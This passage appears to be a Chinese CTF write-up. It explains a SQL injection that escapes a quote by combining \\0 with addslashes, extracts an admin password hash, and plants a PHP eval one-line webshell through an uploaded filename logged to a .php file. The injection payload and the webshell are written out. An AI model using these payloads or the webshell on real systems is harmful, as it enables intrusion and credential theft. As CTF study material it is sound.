$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

绕过思路:\\0在传入变量$id的值后,首先被转义为\0,再经过addslashes()函数的处理,变量$id="\\0",再由str_replace()函数的替换,最终变为\。
这时sql语句变成:select * from images where id='\' or path='{$path}'
              其中\'变成了字符串包含在两侧的'单引号中,即变量$id的值为:\' or path=
3.构造:?id=\\0&path=or 1=if(length(database())>1,1,-1)%23 验证,成功
4.因为过滤了'单、"双引号,所以需要将字符串转换成十六进制,where table_name=0x7573657273(users的十六进制的值为7573657273)
select(group_concat(password))from(users)中的users不能用16进制替换
5.得到用户名admin和密码0f833a43149fe4a17d52,登录之后发现upload
6.上传之后得到页面

在这里插入图片描述

翻译为:我记录了您上传到logs/upload.1b88667b629b74786e137aa7d93a49a7.log.php的文件名。LOL

7.说将文件名记录在日志中,尝试通过文件名写入一句话木马,文件名不允许php出现,使用<?=eval($_POST[cmd]);?>绕过
8.访问logs/upload.1b88667b629b74786e137aa7d93a49a7.log.php,链接蚁剑

注:内容有些来自网络,如有不满,请联系我删除

  • 8
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值